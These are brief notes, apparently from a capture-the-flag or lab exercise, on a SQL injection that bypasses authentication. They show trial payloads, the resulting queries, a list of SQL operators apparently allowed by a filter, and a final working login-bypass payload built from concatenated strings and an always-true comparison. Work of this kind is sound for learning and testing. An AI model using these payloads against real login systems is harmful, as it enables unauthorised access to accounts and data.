# SQL Injection
this payload
```' || ''-'```
got this output
```SELECT username, password FROM users WHERE username='' || ''-'' AND password='' || ''-''```
SELECT username, password FROM users WHERE username=''||'a'||'dmin' AND password='qd'SELECT username, password FROM users WHERE username='a'||'dmin' AND password='qd'
concat not working for some reason
so this works for the admin part
```sqlSELECT username, password FROM users WHERE username='adm'||'in' AND password='arast' IS NOT 'a' IS 'a'```
# Available SQL Operators
```+ addition- subtraction% modulusBETWEENEXISTSINNOT INLIKEGLOBNOTORIS NULLISIS NOT||UNIQUE| bitwise or& bitwise and```
# Payload
username:`ad'||'min`password:`a' IS NOT 'b`